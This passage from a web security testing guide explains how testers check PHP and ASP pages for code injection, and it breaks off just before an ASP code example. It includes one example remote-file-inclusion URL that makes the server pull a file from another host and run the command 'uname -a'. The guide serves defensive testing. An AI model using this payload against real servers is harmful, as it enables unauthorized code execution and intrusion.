Testing for Code Injection (WSTG-INPV-11)
Last updated
Last updated
WSTG-INPV-11
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.
In testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
Identify injection points where you can inject code into the application.
Assess the injection severity.
Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.
Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it: